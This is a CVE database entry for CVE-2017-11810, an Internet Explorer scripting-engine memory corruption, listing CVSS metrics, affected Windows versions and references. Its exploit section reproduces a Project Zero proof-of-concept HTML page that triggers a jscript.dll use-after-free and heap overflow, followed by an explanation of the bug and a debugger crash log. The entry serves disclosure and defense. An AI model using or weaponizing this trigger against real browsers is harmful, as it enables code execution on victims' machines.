CVE-2017-11810 : Detail

CVE-2017-11810

7.5
/
High
Overflow
72.51%V3
Network
2017-10-13
13h00 +00:00
2024-09-16
17h13 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an attacker to execute arbitrary code in the context of the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11792, CVE-2017-11793, CVE-2017-11796, CVE-2017-11798, CVE-2017-11799, CVE-2017-11800, CVE-2017-11801, CVE-2017-11802, CVE-2017-11804, CVE-2017-11805, CVE-2017-11806, CVE-2017-11807, CVE-2017-11808, CVE-2017-11809, CVE-2017-11811, CVE-2017-11812, and CVE-2017-11821.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43131

Publication date : 2017-11-08 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1340 There is a use-after-free in jscript.dll library that can be exploited in IE11. jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick). PoC: ========================================= --> <!-- saved from url=(0014)about:internet --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> </head> <body> <script language="Jscript.Encode"> var e = new Error(); var o = {toString:function() { //alert('in toString'); e.name = 1; CollectGarbage(); //reallocate for(var i=0;i<100;i++) { e.name = {}; } return 'b'; }}; e.name = Array(1000).join('a'); e.message = o; //alert('calling JsErrorToString'); var result = e.toString(); //alert('boom'); alert(result); </script> </body> </html> <!-- ========================================= This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data). When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string. Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow. Debug log: ========================================= (10b8.1364): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 msvcrt!memcpy+0x270: 751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=?? 0:008> k # ChildEBP RetAddr 00 09dfbe04 7013c367 msvcrt!memcpy+0x270 01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86 02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13 03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424 04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a 05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90 06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9 07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f 08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b 09 09dfc558 70133797 jscript!CSession::Execute+0x23d 0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b 0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206 0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29 0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51 0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6 0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e 10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232 11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed 12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201 13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e 14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617 15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d 16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61 17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b 18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38 19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f 1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c 1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103 1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23 1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109 1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5 1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf 20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7 22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67 23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94 24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe 25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70 26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securityfocus.com/bid/101081
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43131/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039532
Tags : vdb-entry, x_refsource_SECTRACK